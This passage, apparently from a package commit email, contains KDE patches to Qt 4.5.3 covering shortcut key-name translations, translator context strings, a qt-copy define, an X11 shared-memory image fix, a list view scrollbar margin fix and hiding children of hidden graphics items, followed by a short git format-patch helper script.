-    // Multimedia keys
-    { Qt::Key_Back,         QT_TRANSLATE_NOOP("QShortcut", "Back") },
-    { Qt::Key_Forward,      QT_TRANSLATE_NOOP("QShortcut", "Forward") },
-    { Qt::Key_Stop,         QT_TRANSLATE_NOOP("QShortcut", "Stop") },
-    { Qt::Key_Refresh,      QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
-    { Qt::Key_VolumeDown,   QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
-    { Qt::Key_VolumeMute,   QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
-    { Qt::Key_VolumeUp,     QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
-    { Qt::Key_BassBoost,    QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
-    { Qt::Key_BassUp,       QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
-    { Qt::Key_BassDown,     QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
-    { Qt::Key_TrebleUp,     QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
-    { Qt::Key_TrebleDown,   QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
-    { Qt::Key_MediaPlay,    QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
-    { Qt::Key_MediaStop,    QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
-    { Qt::Key_MediaPrevious,QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
-    { Qt::Key_MediaNext,    QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
-    { Qt::Key_MediaRecord,  QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
-    { Qt::Key_HomePage,     QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
-    { Qt::Key_Favorites,    QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
-    { Qt::Key_Search,       QT_TRANSLATE_NOOP("QShortcut", "Search") },
-    { Qt::Key_Standby,      QT_TRANSLATE_NOOP("QShortcut", "Standby") },
-    { Qt::Key_OpenUrl,      QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
-    { Qt::Key_LaunchMail,   QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
-    { Qt::Key_LaunchMedia,  QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
-    { Qt::Key_Launch0,      QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
-    { Qt::Key_Launch1,      QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
-    { Qt::Key_Launch2,      QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
-    { Qt::Key_Launch3,      QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
-    { Qt::Key_Launch4,      QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
-    { Qt::Key_Launch5,      QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
-    { Qt::Key_Launch6,      QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
-    { Qt::Key_Launch7,      QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
-    { Qt::Key_Launch8,      QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
-    { Qt::Key_Launch9,      QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
-    { Qt::Key_LaunchA,      QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
-    { Qt::Key_LaunchB,      QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
-    { Qt::Key_LaunchC,      QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
-    { Qt::Key_LaunchD,      QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
-    { Qt::Key_LaunchE,      QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
-    { Qt::Key_LaunchF,      QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    // Special keys
+    // Includes multimedia, launcher, lan keys ( bluetooth, wireless )
+    // window navigation
+    { Qt::Key_Back,                       QT_TRANSLATE_NOOP("QShortcut", "Back") },
+    { Qt::Key_Forward,                    QT_TRANSLATE_NOOP("QShortcut", "Forward") },
+    { Qt::Key_Stop,                       QT_TRANSLATE_NOOP("QShortcut", "Stop") },
+    { Qt::Key_Refresh,                    QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
+    { Qt::Key_VolumeDown,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
+    { Qt::Key_VolumeMute,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
+    { Qt::Key_VolumeUp,                   QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
+    { Qt::Key_BassBoost,                  QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
+    { Qt::Key_BassUp,                     QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
+    { Qt::Key_BassDown,                   QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
+    { Qt::Key_TrebleUp,                   QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
+    { Qt::Key_TrebleDown,                 QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
+    { Qt::Key_MediaPlay,                  QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
+    { Qt::Key_MediaStop,                  QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
+    { Qt::Key_MediaPrevious,              QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
+    { Qt::Key_MediaNext,                  QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
+    { Qt::Key_MediaRecord,                QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
+    { Qt::Key_HomePage,                   QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
+    { Qt::Key_Favorites,                  QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
+    { Qt::Key_Search,                     QT_TRANSLATE_NOOP("QShortcut", "Search") },
+    { Qt::Key_Standby,                    QT_TRANSLATE_NOOP("QShortcut", "Standby") },
+    { Qt::Key_OpenUrl,                    QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
+    { Qt::Key_LaunchMail,                 QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
+    { Qt::Key_LaunchMedia,                QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
+    { Qt::Key_Launch0,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
+    { Qt::Key_Launch1,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
+    { Qt::Key_Launch2,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
+    { Qt::Key_Launch3,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
+    { Qt::Key_Launch4,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
+    { Qt::Key_Launch5,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
+    { Qt::Key_Launch6,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
+    { Qt::Key_Launch7,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
+    { Qt::Key_Launch8,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
+    { Qt::Key_Launch9,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
+    { Qt::Key_LaunchA,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
+    { Qt::Key_LaunchB,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
+    { Qt::Key_LaunchC,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
+    { Qt::Key_LaunchD,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
+    { Qt::Key_LaunchE,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
+    { Qt::Key_LaunchF,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    { Qt::Key_MonBrightnessUp,            QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Up") },
+    { Qt::Key_MonBrightnessDown,          QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Down") },
+    { Qt::Key_KeyboardLightOnOff,         QT_TRANSLATE_NOOP("QShortcut", "Keyboard Light On/Off") },
+    { Qt::Key_KeyboardBrightnessUp,       QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Up") },
+    { Qt::Key_KeyboardBrightnessDown,     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Down") },
+    { Qt::Key_PowerOff,                   QT_TRANSLATE_NOOP("QShortcut", "Power Off") },
+    { Qt::Key_WakeUp,                     QT_TRANSLATE_NOOP("QShortcut", "Wake Up") },
+    { Qt::Key_Eject,                      QT_TRANSLATE_NOOP("QShortcut", "Eject") },
+    { Qt::Key_ScreenSaver,                QT_TRANSLATE_NOOP("QShortcut", "Screensaver") },
+    { Qt::Key_WWW,                        QT_TRANSLATE_NOOP("QShortcut", "WWW") },
+    { Qt::Key_Sleep,                      QT_TRANSLATE_NOOP("QShortcut", "Sleep") },
+    { Qt::Key_LightBulb,                  QT_TRANSLATE_NOOP("QShortcut", "LightBulb") },
+    { Qt::Key_Shop,                       QT_TRANSLATE_NOOP("QShortcut", "Shop") },
+    { Qt::Key_History,                    QT_TRANSLATE_NOOP("QShortcut", "History") },
+    { Qt::Key_AddFavorite,                QT_TRANSLATE_NOOP("QShortcut", "Add Favorite") },
+    { Qt::Key_HotLinks,                   QT_TRANSLATE_NOOP("QShortcut", "Hot Links") },
+    { Qt::Key_BrightnessAdjust,           QT_TRANSLATE_NOOP("QShortcut", "Adjust Brightness") },
+    { Qt::Key_Finance,                    QT_TRANSLATE_NOOP("QShortcut", "Finance") },
+    { Qt::Key_Community,                  QT_TRANSLATE_NOOP("QShortcut", "Community") },
+    { Qt::Key_AudioRewind,                QT_TRANSLATE_NOOP("QShortcut", "Audio Rewind") },
+    { Qt::Key_BackForward,                QT_TRANSLATE_NOOP("QShortcut", "Back Forward") },
+    { Qt::Key_ApplicationLeft,            QT_TRANSLATE_NOOP("QShortcut", "Application Left") },
+    { Qt::Key_ApplicationRight,           QT_TRANSLATE_NOOP("QShortcut", "Application Right") },
+    { Qt::Key_Book,                       QT_TRANSLATE_NOOP("QShortcut", "Book") },
+    { Qt::Key_CD,                         QT_TRANSLATE_NOOP("QShortcut", "CD") },
+    { Qt::Key_Calculator,                 QT_TRANSLATE_NOOP("QShortcut", "Calculator") },
+    { Qt::Key_Clear,                      QT_TRANSLATE_NOOP("QShortcut", "Clear") },
+    { Qt::Key_ClearGrab,                  QT_TRANSLATE_NOOP("QShortcut", "Clear Grab") },
+    { Qt::Key_Close,                      QT_TRANSLATE_NOOP("QShortcut", "Close") },
+    { Qt::Key_Copy,                       QT_TRANSLATE_NOOP("QShortcut", "Copy") },
+    { Qt::Key_Cut,                        QT_TRANSLATE_NOOP("QShortcut", "Cut") },
+    { Qt::Key_Display,                    QT_TRANSLATE_NOOP("QShortcut", "Display") },
+    { Qt::Key_DOS,                        QT_TRANSLATE_NOOP("QShortcut", "DOS") },
+    { Qt::Key_Documents,                  QT_TRANSLATE_NOOP("QShortcut", "Documents") },
+    { Qt::Key_Excel,                      QT_TRANSLATE_NOOP("QShortcut", "Spreadsheet") },
+    { Qt::Key_Explorer,                   QT_TRANSLATE_NOOP("QShortcut", "Browser") },
+    { Qt::Key_Game,                       QT_TRANSLATE_NOOP("QShortcut", "Game") },
+    { Qt::Key_Go,                         QT_TRANSLATE_NOOP("QShortcut", "Go") },
+    { Qt::Key_iTouch,                     QT_TRANSLATE_NOOP("QShortcut", "iTouch") },
+    { Qt::Key_LogOff,                     QT_TRANSLATE_NOOP("QShortcut", "Logoff") },
+    { Qt::Key_Market,                     QT_TRANSLATE_NOOP("QShortcut", "Market") },
+    { Qt::Key_Meeting,                    QT_TRANSLATE_NOOP("QShortcut", "Meeting") },
+    { Qt::Key_MenuKB,                     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Menu") },
+    { Qt::Key_MenuPB,                     QT_TRANSLATE_NOOP("QShortcut", "Menu PB") },
+    { Qt::Key_MySites,                    QT_TRANSLATE_NOOP("QShortcut", "My Sites") },
+    { Qt::Key_News,                       QT_TRANSLATE_NOOP("QShortcut", "News") },
+    { Qt::Key_OfficeHome,                 QT_TRANSLATE_NOOP("QShortcut", "Home Office") },
+    { Qt::Key_Option,                     QT_TRANSLATE_NOOP("QShortcut", "Option") },
+    { Qt::Key_Paste,                      QT_TRANSLATE_NOOP("QShortcut", "Paste") },
+    { Qt::Key_Phone,                      QT_TRANSLATE_NOOP("QShortcut", "Phone") },
+    { Qt::Key_Reply,                      QT_TRANSLATE_NOOP("QShortcut", "Reply") },
+    { Qt::Key_Reload,                     QT_TRANSLATE_NOOP("QShortcut", "Reload") },
+    { Qt::Key_RotateWindows,              QT_TRANSLATE_NOOP("QShortcut", "Rotate Windows") },
+    { Qt::Key_RotationPB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation PB") },
+    { Qt::Key_RotationKB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation KB") },
+    { Qt::Key_Save,                       QT_TRANSLATE_NOOP("QShortcut", "Save") },
+    { Qt::Key_Send,                       QT_TRANSLATE_NOOP("QShortcut", "Send") },
+    { Qt::Key_Spell,                      QT_TRANSLATE_NOOP("QShortcut", "Spellchecker") },
+    { Qt::Key_SplitScreen,                QT_TRANSLATE_NOOP("QShortcut", "Split Screen") },
+    { Qt::Key_Support,                    QT_TRANSLATE_NOOP("QShortcut", "Support") },
+    { Qt::Key_TaskPane,                   QT_TRANSLATE_NOOP("QShortcut", "Task Panel") },
+    { Qt::Key_Terminal,                   QT_TRANSLATE_NOOP("QShortcut", "Terminal") },
+    { Qt::Key_Tools,                      QT_TRANSLATE_NOOP("QShortcut", "Tools") },
+    { Qt::Key_Travel,                     QT_TRANSLATE_NOOP("QShortcut", "Travel") },
+    { Qt::Key_Video,                      QT_TRANSLATE_NOOP("QShortcut", "Video") },
+    { Qt::Key_Word,                       QT_TRANSLATE_NOOP("QShortcut", "Word Processor") },
+    { Qt::Key_Xfer,                       QT_TRANSLATE_NOOP("QShortcut", "XFer") },
+    { Qt::Key_ZoomIn,                     QT_TRANSLATE_NOOP("QShortcut", "Zoom In") },
+    { Qt::Key_ZoomOut,                    QT_TRANSLATE_NOOP("QShortcut", "Zoom Out") },
+    { Qt::Key_Away,                       QT_TRANSLATE_NOOP("QShortcut", "Away") },
+    { Qt::Key_Messenger,                  QT_TRANSLATE_NOOP("QShortcut", "Messenger") },
+    { Qt::Key_WebCam,                     QT_TRANSLATE_NOOP("QShortcut", "WebCam") },
+    { Qt::Key_MailForward,                QT_TRANSLATE_NOOP("QShortcut", "Mail Forward") },
+    { Qt::Key_Pictures,                   QT_TRANSLATE_NOOP("QShortcut", "Pictures") },
+    { Qt::Key_Music,                      QT_TRANSLATE_NOOP("QShortcut", "Music") },
+    { Qt::Key_Battery,                    QT_TRANSLATE_NOOP("QShortcut", "Battery") },
+    { Qt::Key_Bluetooth,                  QT_TRANSLATE_NOOP("QShortcut", "Bluetooth") },
+    { Qt::Key_WLAN,                       QT_TRANSLATE_NOOP("QShortcut", "Wireless") },
+    { Qt::Key_UWB,                        QT_TRANSLATE_NOOP("QShortcut", "Ultra Wide Band") },
+    { Qt::Key_AudioForward,               QT_TRANSLATE_NOOP("QShortcut", "Audio Forward") },
+    { Qt::Key_AudioRepeat,                QT_TRANSLATE_NOOP("QShortcut", "Audio Repeat") },
+    { Qt::Key_AudioRandomPlay,            QT_TRANSLATE_NOOP("QShortcut", "Audio Random Play") },
+    { Qt::Key_Subtitle,                   QT_TRANSLATE_NOOP("QShortcut", "Subtitle") },
+    { Qt::Key_AudioCycleTrack,            QT_TRANSLATE_NOOP("QShortcut", "Audio Cycle Track") },
+    { Qt::Key_Time,                       QT_TRANSLATE_NOOP("QShortcut", "Time") },
+    { Qt::Key_Select,                     QT_TRANSLATE_NOOP("QShortcut", "Select") },
+    { Qt::Key_View,                       QT_TRANSLATE_NOOP("QShortcut", "View") },
+    { Qt::Key_TopMenu,                    QT_TRANSLATE_NOOP("QShortcut", "Top Menu") },
+    { Qt::Key_Suspend,                    QT_TRANSLATE_NOOP("QShortcut", "Suspend") },
+    { Qt::Key_Hibernate,                  QT_TRANSLATE_NOOP("QShortcut", "Hibernate") },
 
     // --------------------------------------------------------------
     // More consistent namings
-- 
1.6.2.5


0017-Add-context-to-tr-calls-in-QShortcut.patch:
 qkeysequence.cpp |   21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

--- NEW FILE 0017-Add-context-to-tr-calls-in-QShortcut.patch ---
>From 9eb3560cfd5cd0bc9c7bf79f2c27657ee07b8f95 Mon Sep 17 00:00:00 2001
From: Albert Astals Cid <aacid at kde.org>
Date: Sat, 8 Aug 2009 14:40:25 +0200
Subject: [PATCH 17/18] Add context to tr calls in QShortcut

Some languages have special rules for using "+" to concatenate strings and
for example it needs to be Ctrl + Shift instead of Ctrl+Shift, adding
context to these strings helps creating a more correct translation
---
 src/gui/kernel/qkeysequence.cpp |   20 ++++++++++----------
 1 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..c17f253 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -991,10 +991,10 @@ int QKeySequencePrivate::decodeString(const QString &str, QKeySequence::Sequence
 
     QList<QModifKeyName> modifs;
     if (nativeText) {
-        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::META, QShortcut::tr("Meta").toLower().append(QLatin1Char('+')));
+        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift", "Shift key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt", "Alt key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::META, QShortcut::tr("Meta", "Meta key, used for shortcuts").toLower().append(QLatin1Char('+')));
     }
     modifs += *gmodifs; // Test non-translated ones last
 
@@ -1086,7 +1086,7 @@ QString QKeySequence::encodeString(int key)
 static inline void addKey(QString &str, const QString &theKey, QKeySequence::SequenceFormat format)
 {
     if (!str.isEmpty())
-        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+")
+        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+", "Symbol used to concatenate keys in shortcuts")
                                                     : QString::fromLatin1("+");
     str += theKey;
 }
@@ -1111,13 +1111,13 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
     {
         // On other systems the order is Meta, Control, Alt, Shift
         if ((key & Qt::META) == Qt::META)
-            s = nativeText ? QShortcut::tr("Meta") : QString::fromLatin1("Meta");
+            s = nativeText ? QShortcut::tr("Meta", "Meta key, used for shortcuts") : QString::fromLatin1("Meta");
         if ((key & Qt::CTRL) == Qt::CTRL)
-            addKey(s, nativeText ? QShortcut::tr("Ctrl") : QString::fromLatin1("Ctrl"), format);
+            addKey(s, nativeText ? QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts") : QString::fromLatin1("Ctrl"), format);
         if ((key & Qt::ALT) == Qt::ALT)
-            addKey(s, nativeText ? QShortcut::tr("Alt") : QString::fromLatin1("Alt"), format);
+            addKey(s, nativeText ? QShortcut::tr("Alt", "Alt key, used for shortcuts") : QString::fromLatin1("Alt"), format);
         if ((key & Qt::SHIFT) == Qt::SHIFT)
-            addKey(s, nativeText ? QShortcut::tr("Shift") : QString::fromLatin1("Shift"), format);
+            addKey(s, nativeText ? QShortcut::tr("Shift", "Shift key, used for shortcuts") : QString::fromLatin1("Shift"), format);
     }
 
 
@@ -1132,7 +1132,7 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
             p += QChar((key-0x10000)%400+0xdc00);
         }
     } else if (key >= Qt::Key_F1 && key <= Qt::Key_F35) {
-            p = nativeText ? QShortcut::tr("F%1").arg(key - Qt::Key_F1 + 1)
+            p = nativeText ? QShortcut::tr("F%1", "Fx key, used for shortcuts").arg(key - Qt::Key_F1 + 1)
                            : QString::fromLatin1("F%1").arg(key - Qt::Key_F1 + 1);
     } else if (key) {
         int i=0;
-- 
1.6.2.5


0118-qtcopy-define.diff:
 qglobal.h |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE 0118-qtcopy-define.diff ---
qt-bugs@ issue : none
Trolltech task ID : none
applied: yes
author: David Faure <faure at kde.org>

Needed to distinguish qt-copy from released versions of qt, at least while
we backport API additions to qt-copy.

Index: src/corelib/global/qglobal.h
===================================================================
--- src/corelib/global/qglobal.h        (revision 536662)
+++ src/corelib/global/qglobal.h        (working copy)
@@ -38,6 +38,11 @@
 #include <QtCore/qconfig.h>
 #endif

+/* QT_KDE_QT_COPY is set in qt-copy so that we know when we can use features backported to qt-copy
+   Keep in mind that it should also work with the right release of Qt, so use something like:
+      #if defined(QT_KDE_QT_COPY) || QT_VERSION >= 0x040200 */
+#define QT_KDE_QT_COPY
+
 /*
    The operating system, must be one of: (Q_OS_x)


0274-shm-native-image-fix.patch:
 image/qnativeimage.cpp             |   11 +----------
 image/qnativeimage_p.h             |    1 -
 kernel/qapplication_x11.cpp        |    9 +++------
 painting/qwindowsurface_raster.cpp |   13 ++++++++++---
 4 files changed, 14 insertions(+), 20 deletions(-)

--- NEW FILE 0274-shm-native-image-fix.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me	2009-10-02 18:26:02.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp	2009-10-02 18:27:13.000000000 +0200
@@ -144,7 +144,7 @@ QImage::Format QNativeImage::systemForma
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
 
 QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* isTextBuffer */, QWidget *widget)
-    : xshmimg(0), xshmpm(0)
+    : xshmimg(0)
 {
     if (!X11->use_mitshm) {
         image = QImage(width, height, format);
@@ -195,11 +195,6 @@ QNativeImage::QNativeImage(int width, in
             shmctl(xshminfo.shmid, IPC_RMID, 0);
         return;
     }
-    xshmpm = XShmCreatePixmap(X11->display, DefaultRootWindow(X11->display), xshmimg->data,
-                              &xshminfo, width, height, dd);
-    if (!xshmpm) {
-        qWarning() << "QNativeImage: Unable to create shared Pixmap.";
-    }
 }
 
 
@@ -208,10 +203,6 @@ QNativeImage::~QNativeImage()
     if (!xshmimg)
         return;
 
-    if (xshmpm) {
-        XFreePixmap(X11->display, xshmpm);
-        xshmpm = 0;
-    }
     XShmDetach(X11->display, &xshminfo);
     xshmimg->data = 0;
     XDestroyImage(xshmimg);
diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h
--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me	2009-10-02 18:33:38.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h	2009-10-02 18:34:01.000000000 +0200
@@ -90,7 +90,6 @@ public:
 
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
     XImage *xshmimg;
-    Pixmap xshmpm;
     XShmSegmentInfo xshminfo;
 
 #elif defined(Q_WS_MAC)
diff -up qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me	2009-10-02 18:27:55.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp	2009-10-02 18:33:30.000000000 +0200
@@ -1959,12 +1959,9 @@ void qt_init(QApplicationPrivate *priv, 
             bool local = displayName.isEmpty() || displayName.lastIndexOf(QLatin1Char(':')) == 0;
             if (local && (qgetenv("QT_X11_NO_MITSHM").toInt() == 0)) {
                 Visual *defaultVisual = DefaultVisual(X11->display, DefaultScreen(X11->display));
-                X11->use_mitshm = mitshm_pixmaps && ((defaultVisual->red_mask == 0xff0000
-                                                      || defaultVisual->red_mask == 0xf800)
-                                                     && (defaultVisual->green_mask == 0xff00
-                                                         || defaultVisual->green_mask == 0x7e0)
-                                                     && (defaultVisual->blue_mask == 0xff
-                                                         || defaultVisual->blue_mask == 0x1f));
+                X11->use_mitshm = (defaultVisual->red_mask == 0xff0000 || defaultVisual->red_mask == 0xf800)
+                                   && (defaultVisual->green_mask == 0xff00 || defaultVisual->green_mask == 0x7e0)
+                                   && (defaultVisual->blue_mask == 0xff || defaultVisual->blue_mask == 0x1f);
             }
         }
 #endif // QT_NO_MITSHM
diff -up qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me	2009-10-02 18:34:18.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp	2009-10-02 18:35:54.000000000 +0200
@@ -220,9 +220,16 @@ void QRasterWindowSurface::flush(QWidget
 
     QRect br = rgn.boundingRect().translated(offset);
 #ifndef QT_NO_MITSHM
-    if (d_ptr->image->xshmpm) {
-        XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
-                  br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
+    if (d_ptr->image->xshmimg && (br.width() * br.height() > 65536)) {
+        const QImage &src = d->image->image;
+        br = br.intersected(src.rect());
+        // Hack to make sure we satisify the PutImage() constraints in the X server,
+        // since the doShmPutImage() route currently forces a migration to system ram.
+        wbr.setX(wbr.x() - br.x());
+        br.setX(0);
+        br.setWidth(src.width());
+        XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
+                     br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
         XSync(X11->display, False);
     } else
 #endif

0283-do-not-deduce-scrollbar-extent-twice.diff:
 qlistview.cpp |   14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

--- NEW FILE 0283-do-not-deduce-scrollbar-extent-twice.diff ---
qt-bugs@ issue : none
Qt Software task ID : none
bugs.kde.org number : none
applied: no
author: Aur?lien G?teau <agateau at kde.org>

Do not deduce scrollbar extent twice if scrollbar policy is
Qt::ScrollBarAlwaysOn.

This patch has been merged in master but won't be in 4.5.
http://qt.gitorious.org/qt/qt/merge_requests/432

--- src/gui/itemviews/qlistview.cpp
+++ src/gui/itemviews/qlistview.cpp
@@ -1969,10 +1969,16 @@ void QListViewPrivate::prepareItemsLayout()
     int frameAroundContents = 0;
     if (q->style()->styleHint(QStyle::SH_ScrollView_FrameOnlyAroundContents))
         frameAroundContents = q->style()->pixelMetric(QStyle::PM_DefaultFrameWidth) * 2;
-    int verticalMargin = vbarpolicy==Qt::ScrollBarAlwaysOff ? 0 :
-        q->style()->pixelMetric(QStyle::PM_ScrollBarExtent, 0, q->verticalScrollBar()) + frameAroundContents;
-    int horizontalMargin =  hbarpolicy==Qt::ScrollBarAlwaysOff ? 0 :
-        q->style()->pixelMetric(QStyle::PM_ScrollBarExtent, 0, q->horizontalScrollBar()) + frameAroundContents;
+
+    // maximumViewportSize() already takes scrollbar into account if policy is
+    // Qt::ScrollBarAlwaysOn but scrollbar extent must be deduced if policy
+    // is Qt::ScrollBarAsNeeded
+    int verticalMargin = vbarpolicy==Qt::ScrollBarAsNeeded
+        ? q->style()->pixelMetric(QStyle::PM_ScrollBarExtent, 0, q->verticalScrollBar()) + frameAroundContents
+        : 0;
+    int horizontalMargin =  hbarpolicy==Qt::ScrollBarAsNeeded
+        ? q->style()->pixelMetric(QStyle::PM_ScrollBarExtent, 0, q->horizontalScrollBar()) + frameAroundContents
+        : 0;
 
     layoutBounds.adjust(0, 0, -verticalMargin, -horizontalMargin);
 

0285-qgv-dontshowchildren.diff:
 qgraphicsitem.cpp |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE 0285-qgv-dontshowchildren.diff ---
qt-bugs@ issue : unknows
Qt Software task ID : 197802
bugs.kde.org number : bugs on the issue not reported yed
applied: no
author: Marco Martin <notmart at gmail.com>

This patch makes children items of an hidden qgraphicsitem not be shown if show() is called on them. fixes several issues like the opensocial plasma widget and the Plasma desktop toolbox behaviour.

Index: src/gui/graphicsview/qgraphicsitem.cpp
===================================================================
--- src/gui/graphicsview/qgraphicsitem.cpp	(revision 958522)
+++ src/gui/graphicsview/qgraphicsitem.cpp	(working copy)
@@ -1522,6 +1522,11 @@
     if (visible == quint32(newVisible))
         return;
 
+    QGraphicsItem *parent(q_ptr->parentItem());
+    if (parent && newVisible && !parent->d_ptr->visible) {
+        return;
+    }
+
     // Modify the property.
     const QVariant newVisibleVariant(q_ptr->itemChange(QGraphicsItem::ItemVisibleChange,
                                                        quint32(newVisible)));


--- NEW FILE kde-qt-patches.sh ---
# quick-n-dirty method to fetch patches from -patched git branch
# unfortunately, requires an already checked-out copy of the git repo

git format-patch --output-directory kde-qt-patches v4.5.3..4.5.3-patched

